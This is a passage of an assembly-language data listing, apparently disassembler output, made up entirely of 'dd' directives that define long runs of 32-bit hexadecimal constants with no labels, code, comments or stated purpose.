		dd 7A57E1A8h, 5E6D25EEh, 8D49CABAh, 0E775BE5Dh,	134531BCh
		dd 6EFB06CBh, 1A787DFAh, 389542E7h, 0CFC628F1h,	0A3404E68h
		dd 0B6D66B9Ah, 1AF74DDDh, 0E8F0206Ah, 6B2FDBBCh, 0BEB35537h
		dd 1F26E5BCh, 0B5A277Bh, 0CDBA866Bh, 1EE8C852h,	62192FF4h
		dd 0A20C32DBh, 5A2D48E5h, 0A05A1DC9h, 33F6A165h, 2DA89445h
		dd 9BA798F7h, 40E6698Bh, 4789E1A7h, 92CA7B85h, 37DF8B4Eh
		dd 4101CA83h, 4C2212BEh, 41C04C5Fh, 653D43AEh, 2A2C65D8h
		dd 65B3981Fh, 5DE5C857h, 387AFB94h, 23BA466Dh, 0D0ABC4ADh
		dd 0D00B13A4h, 0C0B1000Eh, 6F5FDF06h, 12CFA927h, 0E0505268h
		dd 57E81851h, 0D8D67548h, 0F72EFE67h, 6D98D015h, 72699188h
		dd 292C432Ah, 7061FD6Bh, 400E4D23h, 574D99D8h, 0FEAB90E4h
		dd 2865630Eh, 161BE1BAh, 0F56D544h, 365261C3h, 0C2944741h
		dd 3F74C11Dh, 0C51E87FDh, 431698FBh, 0A8962EF5h, 0DD13506Ah
		dd 28F89DC8h, 0CB9F3DA7h, 72F46891h, 4385DE94h,	8963E7A3h
		dd 0A62DA869h, 8F1904A7h, 0E19D70D2h, 453945F3h, 0DE2944DAh
		dd 1BE7C5D5h, 13DCC16h,	2F926438h, 0E17CC540h, 48D1DE3Bh
		dd 8804A714h, 91EE374Eh, 886F85EAh, 569017C0h, 0FBF24640h
		dd 18920A8Dh, 755A3FFh,	8D5EB238h, 0EC1093E0h, 0FF029D5Fh
		dd 0AA6DBF62h, 0D10A35B5h, 60A2BA8Fh, 771DB7D7h, 0D0BA0994h
		dd 8E37906Eh, 880F9A42h, 0F8DBFEF6h, 813FA913h,	9FDFF85Dh
		dd 2049B44Eh, 0A711B089h, 0F0F7C72Dh, 3FDAEBA0h, 50C9E92Bh
		dd 1BD15B25h, 0AC2D8196h, 1982382Dh, 0E7BF135Ah, 5DEF58BEh
		dd 0DFFF5E2Fh, 399E25D7h, 8D5212E4h, 0ABCD0EEh,	0DD579584h
		dd 40A14F7Fh, 979C05B3h, 0FFF9881Fh, 0EE16327Bh, 9BD9CEEh
		dd 658C81A1h, 0C0665E42h, 0C776E198h, 18C142Dh,	2AEE4F2Ch
		dd 6145008Dh, 12118CF4h, 0F46528A7h, 0F4CF9021h, 35DC3ED6h
		dd 7F4F19E6h, 0E2F41872h, 0C3C7A56Ch, 0A4A0BE72h, 5CD5236h
		dd 0BD761F80h, 494051D8h
		dd 52E341C7h, 2D5C8BD0h, 426E6F31h, 0D4AF5E49h,	44F78CE5h
		dd 98775493h, 6E477003h, 75CCEDEh, 5CF06270h, 57E78A9Fh
		dd 8B3266D5h, 64F3094Ch, 864A6106h, 0E8FA63CFh,	2D144476h
		dd 845A466h, 20DD215Bh,	0E32B9F3Dh, 0D96A8432h,	0D92845E2h
		dd 0E3037F1h, 0FCF33F92h, 2A04BAF3h, 2BA83096h,	9909D774h
		dd 0A373C447h, 0C3172B0Eh, 0E8321941h, 40CEFAFAh, 0E3C3243Fh
		dd 72E5FE93h, 9876D228h, 0BB0836D9h, 18CC3A17h,	7AF5B43Fh
		dd 0A2515D7Ch, 0F64131FCh, 0A34F5067h, 95C84D07h, 0AD8A8DB6h
		dd 7CE528BBh, 0D2769983h, 90A31E11h, 0C15EC7AEh, 7B272DA6h
		dd 0DE7BA8EDh, 0ED0A820Ch, 0CB98F59Fh, 0B5581260h, 0CBA0C2C1h
		dd 0C0A164F0h, 7B5290Dh, 0A4B5AE74h, 0EC833BF2h, 0FF3F005Bh
		dd 446A90D1h, 0D7CD2C81h, 9537877h, 0E4A32DC2h,	62FB996Eh
		dd 77A7AFD3h, 0DA39764Eh, 0F147DE09h, 0E6401418h, 562AF9F7h
		dd 582B0B39h, 61D9909Fh, 2C116C24h, 0D8CD3F0Eh,	0AB75EC65h
		dd 53EF6D61h, 0DFBD3267h, 0B541346h, 475C748Ah,	5948139Ch
		dd 0E4B58879h, 4557083Eh, 799F1F12h, 650D9D62h,	30AFCBDAh
		dd 62DED510h, 3E9C35CCh, 0CFAB682Ah, 2F56B96Ah,	0EC323A2Bh
		dd 30D53AB7h, 0ED506B3Ah, 30836F45h, 6F8EFE0Ah,	48276CD3h
		dd 0E00F78D3h, 0FF76ED5h, 0D275778Bh, 93158A66h, 4BCEFABEh
		dd 1DF51ADAh, 0A57F4556h, 38263DCBh, 2C52E3FFh,	0D60AC24Fh
		dd 0A8E5A807h, 99892AA7h, 0AD5C179h, 9F361818h,	73FBFDCEh
		dd 0B1A39B0Bh, 8EF7443Fh, 16FECB4Bh, 0E7768AE0h, 25ED2D89h
		dd 203461B0h, 0F27C7E46h, 0A5409F50h, 0DB1CDF86h, 0CF84FC19h
		dd 4C6DCF2Ch, 7BADC4FDh, 0ED052815h, 12A879FDh,	449CC0DBh
		dd 0E6FF1C8Eh, 0FA9FDEB2h, 0FB02A187h, 40A81EEEh, 7637DC8Ah
		dd 55EBA81Bh, 457F4CC7h, 0DC07E406h, 0DEDAFD96h, 0DD46EAB6h
		dd 6A37ECEAh, 0E673181Eh, 43F8774Dh, 0B80004F3h, 1EC8A052h
		dd 0B9EEAA4Ah, 0D1320B7Dh, 38838937h, 0F5AB45DCh, 0D82069EAh
		dd 0E11C829Eh, 37F67B1h, 9B4B914Dh, 99A234D8h, 84938DC4h
		dd 2774B771h, 23E4478h,	15867904h, 1573627Eh, 0AAD9AA0Eh
		dd 0D5FCF70Fh, 5BCE10EFh, 1555B123h, 1F62D5D1h,	56123407h
		dd 0B4134E9Fh, 7082281Eh, 80196E9Bh, 0EB1B86A2h, 7BEBBCB7h
		dd 546868Dh, 79D5AF8Ah,	0D3653F6Eh, 0DD63B9E7h,	8AD19859h
		dd 0D7D44BCFh, 0AA104DE6h, 0D1E0449Fh, 3B5C2521h, 0B89CB1ECh
		dd 32174737h, 18D23E70h, 6464C114h, 0D0DCDF9Ah,	984860FDh
		dd 8B747C5Ah, 2CF8104h,	0E44F729Eh, 93E35CCh, 4FC5BB0Eh
		dd 1FC073BFh, 9BC5352Dh, 69039DB0h, 9E685460h, 96F89178h
		dd 0D975CC76h, 0ED6E6545h, 0B9C42687h, 4529E320h, 0ACEE740Eh
		dd 0A50B5A2Bh, 66069956h, 6E427C69h, 4F35D3Ah, 85BD740Eh
		dd 53D00053h, 0DDE9209Bh, 47DBC001h, 16913E7Ah,	0DCD31FD0h
		dd 55688B6Ch, 0BDF6040Dh, 3A9486BFh, 51B1C55Ch,	0FDF67E8h
		dd 0AA274948h, 0EEB24DC4h, 0A8BA3918h, 47E16A11h, 9A9CEF0Ah
		dd 0A506BA31h, 0D646B094h, 0E198FEC1h, 0E31FF7CEh, 0CCB9584Fh
		dd 0B1408AE8h, 0C5AD72DBh, 0A1737A6Ch, 1027731Bh, 6C33B09Eh
		dd 714B84C5h, 6D518C3Ch, 0B2885A2h, 0B14044E0h,	82CF0E15h
		dd 6101C6D5h, 9D2589BCh, 9761635Fh, 67D050D9h, 0A31567CDh
		dd 5E15A3CAh, 0B79E0CD8h, 46AC9517h, 106E25D9h,	375E6FD4h
		dd 0CDBA478Ch, 0C8BFCF4Ch, 5F36238Dh, 0B8F01CCCh, 0CE13CAA8h
		dd 9FCE1F57h, 71AA2D03h, 13539B18h, 0CD725111h,	45D6C9Dh
		dd 9CC2DBBh, 6CAC7607h,	4C0EBE8Fh, 36173C29h, 0BD773A34h
		dd 0D122EE1Ah, 7E1AE490h, 2AA6447h, 6B76B4A6h, 63B8C90Dh
		dd 32BA4B7Eh, 0AE907652h, 815DEF0Dh, 26B87F4Fh,	0B079A52Eh
		dd 0D9C29A18h, 9F6A55B3h, 51980727h, 0C9770BC6h, 2E756AE0h
		dd 23AC28E7h, 0A8721960h, 19F1D5E5h, 0E269F3D0h, 7092D7A7h
		dd 4CAA72E7h, 16647709h, 22D0048Bh, 9B98FEAFh, 68B8838h
		dd 201D1132h, 85B2A212h, 27E7C713h, 0E58DCFF6h,	4D37877Bh
		dd 6255A38Ah, 291D0375h, 0FD583D21h, 24EC7D96h,	73DD919Ch
		dd 0DAC08D23h, 751CDE13h, 0C2C1C372h, 29BFF8D4h, 494C4717h
		dd 3D49F256h, 0F98EAA9Dh, 45CB4B8Dh, 89E131Ch, 0B36CB572h
		dd 0B2854DCCh, 77D038DAh, 0D3AB6FBDh, 7D4C745Ah, 0A63BCB38h
		dd 5CB51FA6h, 30CFD073h, 6E96127Eh, 0A43C105Ch,	0CA0174Eh
		dd 8389A85Ah, 0BDA17D0h, 0D59C292Ch, 40137CA0h,	4E05D4F2h
		dd 6A9F72C5h, 0F01A0124h, 0CA30FFFCh, 21EEEB2Fh, 0CAFB169Dh
		dd 0D5FC505h, 435161C6h, 0F2329DC9h, 0E8B0824h,	9BF30EFh
		dd 6D8FC164h, 0D5EB70CAh, 9A82816Bh, 0EC668E09h, 0C5BAAE3Bh
		dd 6D4D1E4Eh, 0A3095947h, 6343D41Eh, 0D339FD08h, 2CF7B5Ah
		dd 1001BE28h, 0C1F9ADC5h, 90014ABAh, 0DD934FEEh, 853E722Dh
		dd 871468F9h, 1FA91AC1h, 57BA6674h, 0A598240Eh,	0A62B341Eh
		dd 84943052h, 9C63A081h, 1525C0E4h, 0E4B1076Dh,	0F5CC0663h
		dd 0DB0570C6h, 486765BFh, 435AA0C4h, 0D32AF58Dh, 70334A84h
		dd 0A279F814h, 0B003499Bh, 0D075A592h, 0A13328ECh, 8854B54Fh
		dd 24216D8Dh, 545B94EFh, 4FF54726h, 800A3667h, 0D098B6B4h
		dd 0F86B0D6Fh, 122BBDC0h, 571FAB41h, 6F5EC3Dh, 0A7AFB0D1h
		dd 349AB029h, 4037F689h, 72CF69F7h, 0A20201DAh,	0EBBB06F4h
		dd 1FC1D65Ah, 6A5A3A03h, 0EC8E581Dh, 6BD15359h,	2BADF4C3h
		dd 0B68ED5DDh, 0F1C780E2h, 2A454E6Ah, 0ADE9BA4h, 83FD6D07h
		dd 753BEA13h, 0FA1D1D45h, 78E4EFE5h, 3A454A5Eh,	9C58ADAAh
		dd 44ABA401h, 87B67A28h, 4675272h, 19CB010Eh, 3CAFD8BEh
		dd 0E02937C5h, 0B2F7979Fh, 0CE40419Fh, 0A28FE2DDh, 698BE3B1h
		dd 4EABF49Ah, 33304CC2h, 0F7276258h, 0C644834Fh, 0D7A6AB5Fh
		dd 0BBCB512Eh, 0AAFD8B8Ah, 9BFC7243h, 9CE05608h, 93E7FAEBh
		dd 60086F56h, 466EDF98h, 0AEEE06D6h, 0C770435h,	0C1539A00h
		dd 127A9C84h, 832D9F5Bh, 6D36BC2Bh, 1C063687h, 12AD121Ch
		dd 13F64798h, 86C0C904h, 236A7E59h, 1DD0A251h, 277FEDA9h
		dd 0D1267B59h, 36B7AA6Eh, 0B92A6D3Ch, 13AFF709h, 94AD3A03h
		dd 0ACAF0100h, 1B232438h, 5E08A27Ah, 6CB0348Fh,	2BE450B2h
		dd 0F2C8BA47h, 0CED9FAAEh, 9A68EC7Ch, 42FF1D34h, 0D2042D37h
		dd 0C68F7349h, 7E7988BAh, 0D031B82Fh, 8D90013h,	0F6DE3AF9h
		dd 37449542h, 8B0CF73Bh, 185C8577h, 0B3683B1Bh,	71B85585h
		dd 748FD46Bh, 74DA71F8h, 62D38D08h, 477AF681h, 4F3C0603h
		dd 0BEAA5EACh, 0F663B505h, 5759D6ADh, 1C2C664Fh, 412D13D0h
		dd 93FB8265h, 0D9434887h, 1F680CD6h, 48851B9Bh,	0C719E3D0h
		dd 0C9C4CDh, 83778A2Ah,	0AE97E6Ah, 2CBA7FA6h, 0A9F8C1DDh
		dd 0F660D7A0h, 0E4E49876h, 4404B67Ch, 3C4E480Ch, 3413CCA8h
		dd 0E1559E7Bh, 38EA445h, 233CFD47h, 0E42341ADh,	0A6E22ED4h
		dd 0B1554382h, 0DBC07481h, 0D330242Ch, 0AD83EDB8h, 0A5539E17h
		dd 0ED346650h, 0E952D375h, 0BF400892h, 69DB956Bh, 0DF561A4Bh
		dd 440F55EEh, 0CD58D3C4h, 0C06E578h, 21B2C709h,	0D12FE5DEh
		dd 0CFADE6h, 2FBB4044h,	3147A30h, 23740CC8h, 0AA970582h
		dd 0AFA6E2FFh, 0B64C50BBh, 41666F67h, 4BE52AEh,	0A4BB718Bh
		dd 0D21E945Ah, 0BD96B63Bh, 0DD0BC3D6h, 0B1448451h, 0A31FEA4Ah
		dd 1587B2ABh, 7501632Bh, 127FEE49h, 2D92574Dh, 0DE1FD669h
		dd 0F2D8E287h, 6890C4F2h
		dd 9B05ECB7h, 64391E9Ch, 0C5CB85FAh, 90914BC1h,	42D63AF8h
		dd 7AA28DAEh, 54692293h, 55BA3D4h, 12A21288h, 974895D1h
		dd 0D72081E4h, 0E654480Bh, 66EDD013h, 9DCA9A42h, 96230426h
		dd 39AF33BAh, 0AD562A56h, 3D100FF1h, 2ABD2AFBh,	0E60DEA84h
		dd 42F4F5D2h, 2D6B22AEh, 0F6A1E0BEh, 5A87339Fh,	0B986B262h
		dd 28E80D8Ah, 0D7AE9060h, 0CE7FCC6Dh, 0DEACD7DDh, 1E109F8h
		dd 0F36104BFh, 9B3CAD2Ah, 583F0D5Ch, 22FE8273h,	93A33CB7h
		dd 6612D6E6h, 0CBAE4CE0h, 7BDC7A3Ah, 0E81E4DC3h, 7F7A9707h
		dd 716DB444h, 0CDE8D700h, 0ECFE76A4h, 85D1E2CFh, 0C754C672h
		dd 8EB9A366h, 0D78F6A1h, 116BD7B8h, 0FAA893D4h,	7B31D5BAh
		dd 86217719h, 8809B557h, 0C8FB90E5h, 4CCB4548h,	209B464Bh
		dd 78559041h, 276E514Ah, 0DBEDD39Eh, 0A716BF14h, 1D082DE0h
		dd 76212B2Ah, 0A5B3ACAFh, 71727C15h, 0B9CD37D5h, 0C3FBE5C7h
		dd 46AC7362h, 0F6FB7EABh, 0CEDB1591h, 0FEBDFB5Eh, 0F6082C03h
		dd 79C73B61h, 0D6460165h, 7BB88A4Eh, 24BA5673h,	6B932ADDh
		dd 29585C41h, 2AEF658Ah, 7EE4BF5Ah, 694E579Eh, 7166BF7Ah
		dd 8CBBB44Dh, 38621B33h, 0A9C09D46h, 7234AE1Bh,	44A7A05Ah
		dd 3D488EC2h, 8D5616A0h, 94EBB170h, 0C2E87A9Dh,	0D4254D73h
		dd 3C7D674Dh, 921AC133h, 0F100B237h, 5FADDB20h,	421FE10Dh
		dd 192F348Ch, 0A3D8603Ah, 37D35E93h, 1568664Fh,	0A46A1A0Fh
		dd 29B1C111h, 70B72EE0h, 0BCAEBB6Eh, 146386C8h,	863B29CCh
		dd 2C6482Dh, 237A764h, 0D26434D1h, 665F9D42h, 5CFB988h
		dd 0EF4E7659h, 2613ECA1h, 2FD39004h, 0D6686B56h, 2255A13Dh
		dd 0E773768Ch, 6D40297Fh, 6C968300h, 0CF452938h, 0D132D0C0h
		dd 5708531Bh, 6C1DD650h, 0B7C7CF8Fh, 0D444BBC0h, 9F2BD340h
		dd 94994B7h, 74FF921Eh,	0EDDD683Ch, 39771356h, 3A9ED108h
		dd 0E35E9EB4h, 0DE8B6CE1h, 571C00D6h, 0F964D835h, 678E8220h
		dd 7A30DC94h, 0E35B61C0h, 9342BDF8h, 46066250h,	3B00C2DFh
		dd 960C5BBEh, 0A3A63033h, 0EA903ED3h, 0AE2E2CD6h, 0B4BB5BD0h
		dd 0C36BBDDh, 5D88C412h, 0D3591117h, 1C38442Bh,	0AF2DE526h
		dd 8C12E9D3h, 673546Eh,	0C0E9FEA9h, 49C7C0A7h, 0A328B0B0h
		dd 0D21544EAh, 165D7EE3h, 0C566A24Eh, 86730998h, 7B920EADh
		dd 43A566C6h, 0A35100D5h, 60342FD4h, 0EE859B90h, 129E84B0h
		dd 8FE83AB6h, 5D91ABD9h, 3462CFE5h, 0A3F4854Dh,	6A22B90Fh
		dd 0B483DCAEh, 0A8374F1Dh, 0AB43EC10h, 12375E2Bh, 65836E5Ch
		dd 0C54CD6ECh, 0CD2D1AC6h, 0C577A606h, 8503741Bh, 414402F9h
		dd 0F2D1D739h, 0A5310EE0h, 0A8E20EB5h, 0B07BB353h, 0C1D834F9h
		dd 25A7DA26h, 30663h, 7FB8BD9h,	1E024230h, 9FFE55D3h, 46D55D27h
		dd 9DA09B13h, 71F2CA14h, 799D2AD9h, 5E7A5F60h, 2498A4E0h
		dd 67F3A645h, 0E3358307h, 9EE6CB0Ch, 6771A126h,	200F4DDAh
		dd 0DE160A83h, 0F3278D24h, 6A232294h, 55BAF83Fh, 0B3975C49h
		dd 8BCAC25Fh, 3111CF2Ch, 0D41601DCh, 0C0E6ED43h, 0BFB2B839h
		dd 9921EB28h, 0DD2C3F6Ah, 9BBC5CBh, 0ECCF25D9h,	0E8E8B4F7h
		dd 6413F656h, 85CD0CBBh, 58885FCCh, 0EF833AE6h,	0A5E4CE9Eh
		dd 0A61AB51h, 107F3A93h, 35E8D04Bh, 703F3259h, 1442CC77h
		dd 0C8516672h, 9E4006FDh, 0B17580F7h, 75A2D02Eh, 0EE4AC29Dh
		dd 60163D19h, 0F06FA66h, 8DF9C31Ah, 4E491E7Fh, 26F5F30Dh
		dd 806E4FD3h, 9C686245h, 0CD0488CAh, 6D4E9529h,	5410DBA6h
		dd 0E23D0CF8h, 0DE09BBD6h, 993E9378h, 28E5A87Ah, 85B65EA8h
		dd 0DD15B040h, 0CBFB2Ah, 14E20C2Bh, 0AA05ECA9h,	0CB089FEBh
		dd 0ED9C79BAh, 0F767CB13h, 36942DDh, 0FCB1FDBh,	0D702CA4Ch
		dd 52B83BF1h, 0F8ECC6F7h, 833258BBh, 711E6F77h,	66792730h
		dd 769B71C6h, 810E70EDh, 285AFFECh, 3CEF99E9h, 0BA76EA3Ah
		dd 26EA1EB2h, 567C0F9Fh, 0D0A3F79Eh, 5A52BC2Ah,	0D01ACCF0h
		dd 0B57903C4h, 0CB9E41C2h, 0BD892B92h, 0B7C21E3h, 345AE7BAh
		dd 7FAD1C2h, 5C3E6D60h,	0A4153991h, 785B336Ch, 3E387E36h
		dd 0DAFF1B68h, 7CDC67E5h, 2A9EE5E1h, 13BF3B36h,	13ACB655h
		dd 7C263610h, 3FE5AFD7h, 9874919Ch, 0F85BC48Ch,	1A6D1D77h
		dd 4AFECF2Ah, 5A34B76Dh, 45E0440Fh, 830CE14Bh, 0FF2B3C1Ch
		dd 27A3FDA6h, 0CD025E0Ah, 0CEDA6F2h, 0E050DA15h, 0AA8A2CD1h
		dd 69BDFE1h, 0DD919499h, 7A04A267h, 5E81E2Eh, 1300E0F2h
		dd 6024CF8Bh, 0B08DBEF6h, 53396AE1h, 0CF1E2C8h,	0A4C3C07h
		dd 0FE87894Fh, 0D497345Bh, 9D9E24B9h, 68D8EAA7h, 8D97D8F0h
		dd 29A88D4h, 49C49E1Bh,	0F0F2287Ch, 0D8D186D7h,	57F3BC27h
		dd 6514CFA5h, 1779F471h, 0AD22F068h, 6A45D2B1h,	0D48D9FFAh
		dd 0DF496F92h, 35D2219Dh, 5BDB306Eh, 0EDB8755Ah, 6949FAA3h
		dd 65AA222Eh, 6D1E13FBh, 6DA84DDDh, 0A760950Dh,	2538823Eh
		dd 9137E744h, 0D358EA37h, 7B314A20h, 0E1FCE060h, 0B4871E15h
		dd 496B5921h, 6E131E48h, 81F3F769h, 0F740CFACh,	0AE78B068h
		dd 0C48053B9h, 7F091DEh, 65B95A4Fh, 0D010C11Bh,	785AEDFDh
		dd 484425F4h, 2AFE0FFBh, 6FE2B19Fh, 7D328AD2h, 0A438BB1h
		dd 0E1A861BDh, 3A7DDBD4h, 2F2E80E2h, 55B34B8Eh,	79485307h
		dd 0E611DA27h, 0BFBFFC0Ah, 0ED7D9DFFh, 0DF5CE34Eh, 80970CD1h
		dd 949E4E34h, 340120ABh, 134927F1h, 6DE8D133h, 0E1F0AF4h
		dd 0FB306634h, 785637C7h, 8F37BD15h, 29BB7979h,	8DF86837h
		dd 0B91B5802h, 505F5D2Fh, 0E320C71Fh, 7010C4AAh, 0A6074C50h
		dd 4BE65204h, 0FF9AA621h, 0C86FA473h, 8229BC82h, 401E32FBh
		dd 0DECA35A8h, 55537705h, 22C17C1Ah, 0B0C0D47Eh, 0DA3E76B1h
		dd 534292CEh, 3950E7A0h, 0D580D205h, 784A3FE3h,	9E2F47C5h
		dd 9A382D5Fh, 0A9C41F3h, 0AB0ADF2Bh, 0D410AB9Ah, 3A3CE9B7h
		dd 922DBC1Bh, 0FD8A5446h, 0A5ADDEA2h, 0A2D36636h, 55F595F6h
		dd 56A3C6CFh, 686125CEh, 0C007FD0Ah, 0CF82462h,	6A0CC4A0h
		dd 6BE9F885h, 0B61E6CD6h, 4CDF414Eh, 60435CE1h,	7C20748Eh
		dd 424FF386h, 0F33A477Dh, 46D80Bh, 94D543B2h, 9043BEA8h
		dd 3490F079h, 0ECFA12h,	0C8B0B7CDh, 0C340A883h,	454FBD7Ch
		dd 0FA8A2A7Ch, 0AB1D441Eh, 0AEC769F2h, 0BB0CFF69h, 0D5ADB479h
		dd 8262E2CFh, 0D49A9430h, 554AF0BBh, 0A83C4F96h, 0FDEF86AFh
		dd 121BB547h, 2DA653CEh, 47B4E75Ah, 0EB4E42DAh,	1767AD84h
		dd 0FE6B67BBh, 0C54B876Ah, 56B3E664h, 2CA22CEh,	32A42469h
		dd 0EA0E1C2Ah, 246F5B61h, 0C3F800D5h, 649734F7h, 8C7DBB69h
		dd 5A05D7F3h, 0A175014Bh, 699FD82h, 33EFB6AAh, 21097CEh
		dd 5DE2FF38h, 255D15D3h, 0E7DD7538h, 0E2477C87h, 82AFB501h
		dd 21D4FD7Eh, 983B73D4h, 26EAA9F9h, 0AF695CD4h,	65EFA7B2h
		dd 98E739C0h, 112DC708h, 0B798965Ch, 89AA94E2h,	0DA982091h
		dd 391871B6h, 3EA5CBB6h, 98A3BCCEh, 0E548C782h,	0DB35543Ah
		dd 0F1D2F510h, 416FFD21h, 9AC3A8FEh, 12DF7DC1h,	0BEB7C9EEh
		dd 94C65538h, 7FE0E4A4h, 0F6194AC7h, 218DE69Ah,	0F3B08EEBh
		dd 0CC1FFAECh, 93E084h,	7480CCA2h, 0C363F3E0h, 0FC128FB8h
		dd 0C9DE8D20h, 5D41F067h, 0BE2DC777h, 2CD6F170h, 744EB73Ah
		dd 0A2C9D234h, 0B37636BDh, 0BB559979h, 868A90D7h, 6C490D85h
		dd 0C424576h, 5AD35B37h, 12CD83D3h, 12613B6Bh, 0A5B0FD69h
		dd 95CD55F1h, 0C4CA857Bh, 0D2EC3E40h, 0E5EA3592h, 52AA344Dh
		dd 0F1755411h
		dd 369561EDh, 0DD4FB58Ch, 519315C8h, 0F61636C3h, 54176027h
		dd 0F155D04Ch, 1DD3621h, 0D8EF719Ah, 509DF27Fh,	0A627602h
		dd 731288C3h, 936CE8D6h, 6EF0B214h, 0B200E0BDh,	0BBAD16C2h
		dd 0F965CC5Ch, 3369632Ch, 7C19F11h, 8F984B73h, 0E20E2Ch
		dd 7AF7DEDh, 0B6479E09h, 0C4069B1Fh, 61C1C3Ch, 590488A3h
		dd 105FC099h, 0A7D2F6B8h, 0B0E1DCFAh, 8D58656Ch, 0F1B89224h
		dd 272DF9F7h, 1E1F56DBh, 88B4F480h, 91A36DFBh, 15B161C6h
		dd 8EA4D2E0h, 48E509E2h, 2853E863h, 1BAE6279h, 6219C9B5h
		dd 0D2F7CD46h, 0BCE89317h, 0F5FFE607h, 0BEA2DC9Bh, 983ED2C7h
		dd 738A466Ah, 0B6643498h, 353B46F9h, 6A0A3641h,	0C9007DC7h
		dd 0F343FCh, 0AB8D5E69h, 30E1E43h, 44A9DF21h, 73DA1DBDh
		dd 3D358FDCh, 2652F086h, 75E9DB8Eh, 726B8C10h, 0EC078E8Eh
		dd 7BD2FB6Ch, 17A3C415h, 5407B7B0h, 82F82814h, 96D00D27h
		dd 5C581C8Eh, 7DB13261h, 35320165h, 0EFC34F9Ch,	4C51346Eh
		dd 9A071D35h, 0A5CC4496h, 0E92A1AD5h, 86C73392h, 7A20C768h
		dd 0A9A3FE6Bh, 0ECD5FD61h, 85B6AFAFh, 9D42027Fh, 8833F25Fh
		dd 0D26E3DB9h, 0A087E6D0h, 6FDA7B5Fh, 0A25A995Eh, 0AE10FDFEh
		dd 26F15589h, 0C2F85521h, 0D6B8AFE5h, 0E9204907h, 9B508254h
		dd 49D60EB2h, 0FFCCF6B8h, 0FCD12364h, 0EBFB09EFh, 0BA4D944Eh
		dd 8C24153Ah, 363BAF2Ah, 55C43B8Ah, 0B54C64B2h,	93372910h
		dd 27B051A0h, 21D26F60h, 709EE0Bh, 16FBE885h, 65AF4F34h
		dd 0F9C6E343h, 0A102095Ch, 2A0BA2B6h, 16A479CFh, 4B7BC69Fh
		dd 9242AF91h, 8131C0Fh,	0E0222834h, 0F403833Fh,	0D455727Ah
		dd 0C37E3EDDh, 0C6612664h, 0E2364276h, 0CE89A89Ch, 603F15D1h
		dd 0B71BDAC5h, 2962E2E2h, 964EE62Bh, 7E0FA3C4h,	5116C530h
		dd 6D4B2DB9h, 2CE65906h, 0DF765161h, 318C534Dh,	2B4C7CDBh
		dd 28AB47A5h, 0F18FF191h, 8A9F9FCAh, 4F08B1EBh,	53926395h
		dd 19124383h, 0FDC12CD5h, 73832955h, 18C55C3Dh,	0A3EF4CF5h
		dd 53482A45h, 3218A745h, 6DFE9B93h, 5F5C616Ah, 86569ED2h
		dd 6994044Eh, 136405F0h, 279FA6C2h, 0CB250087h,	5C538941h
		dd 49933817h, 0FA2B8DA0h, 0F4D6053h, 4DB7C1E9h,	564CA7E3h
		dd 3B8F10h, 0F17A62F8h,	0DF15D359h, 38560916h, 7C88DCC7h
		dd 3700043Eh, 4341021h,	70A39D7Fh, 0AF781E4Eh, 0BE5CC937h
		dd 0AC94FDB6h, 0E894A7F3h, 0D920458Ch, 0F6DB1865h, 54525BE4h
		dd 0B4E0C3DDh, 7C7AA0D9h, 5E8E0FCFh, 85C6C928h,	4BEE2Bh
		dd 57B9FFABh, 4317D12Fh, 97B5377Ah, 55346800h, 0C83EC0E5h
		dd 0B005D886h, 5476B784h, 40949ED5h, 0D08C7727h, 6653E59Bh
		dd 460D7482h, 93BD59Ah,	0F52614BBh, 0A3547DCEh,	0EEF2F211h
		dd 6D4780A0h, 6B4510D6h, 99CC1717h, 54D8B6C7h, 181BAA2Fh
		dd 0FE530A74h, 7D6CA83Ah, 2F6C182Fh, 0ACF12B63h, 0EEF92AB9h
		dd 0CD035B3Dh, 0A9449144h, 5746A7EDh, 9B59BC51h, 0DC1513B0h
		dd 0F3344C7Bh, 1914CE4Ch, 0E877977h, 0ECE7BCC7h, 54B8A52Ch
		dd 9048676Bh, 0ED8E882Ch, 50758E09h, 0D116A514h, 0DFFC810Bh
		dd 902D1FA1h, 0C3ED4F58h, 3D267461h, 89A6F54Bh,	6C604B36h
		dd 0E442548h, 0F6239382h, 0B451B0F8h, 0BDB7585Ch, 2609569Dh
		dd 37D9BABBh, 50536F40h, 7F17E513h, 6441812h, 0DF6C0DE3h
		dd 0FB4BAEDCh, 5BFB6972h, 12D11AB4h, 4750C41Dh,	5AD4679Fh
		dd 0B6F7CECDh, 0C43BAAD7h, 0D065DEACh, 895CF692h, 0BD5B983Ah
		dd 0F3FDCFF0h, 0D285957Eh, 0B7B3A875h, 805EE6C9h, 3F1DADBAh
		dd 0D4A935A1h, 103E14Eh, 0F7C00D6Bh, 5C7A0874h,	5E961157h
		dd 855A4896h, 0EFED0CF5h, 2596975Eh, 0CE9B3FFh,	0E5F43FAAh
		dd 47D0F0BCh, 0E86265E2h, 41224C4Bh, 4FE1D819h,	5388A467h
		dd 7F458947h, 847F77B0h, 459A5A46h, 0C6C3F5D1h,	1254A104h
		dd 2F72AFAh, 702621FFh,	86670306h, 0BFE114B3h, 7B7695E9h
		dd 1BD68280h, 3FA2A3C5h, 6B318C85h, 0F5ED4Ah, 169180C4h
		dd 32990EF7h, 203543C8h, 0B2DE01Dh, 0AB7254CAh,	262470C5h
		dd 0DF0990AFh, 70C7570Bh, 0DD8A19BDh, 12AB98B9h, 89367C37h
		dd 0A5AAC692h, 6312EBFh, 0BAADAF4Ch, 8E1D59A6h,	3542C1D5h
		dd 0F316AF4Bh, 0BC998C9Ah, 91E16403h, 6FD65EFBh, 7FE81131h
		dd 0B7222766h, 4A13CD54h, 0A4B024D8h, 0F2083DB6h, 7D4D6026h
		dd 1BD90EABh, 2A8D290h,	0BAE22B03h, 3081FD7Ah, 92DE56AEh
		dd 3AACA7E5h, 0D8704284h, 80ED91D5h, 59947858h,	0F1B37856h
		dd 5CDF7A0Dh, 2F1D00C7h, 69058AACh, 374F7625h, 67A1C7D5h
		dd 55B0BB96h, 65B80B5Dh, 6B764F03h, 0FF02D80Bh,	0BE9165C1h
		dd 1094FC49h, 186A8E6Dh, 0F118F97Dh, 47C8E11h, 33381921h
		dd 6710F06Bh, 5EEA626Ch, 700B8692h, 0E40D87ADh,	68BC6209h
		dd 6283C9C9h, 0D73893AAh, 660737FFh, 0EF1437DAh, 9F24A19Dh
		dd 8357E834h, 8E019828h, 79306CC0h, 0CDE0D858h,	82C09893h
		dd 0B3B69231h, 74AA43EFh, 357B0708h, 7062FA91h,	0DD553CE4h
		dd 8BF1C42Eh, 5FBA15h, 0C404A684h, 0FB5DE9E3h, 52786B8Ch
		dd 0FD713330h, 0CB126249h, 0ABDC7945h, 0ADA416DBh, 0ABB2084Ah
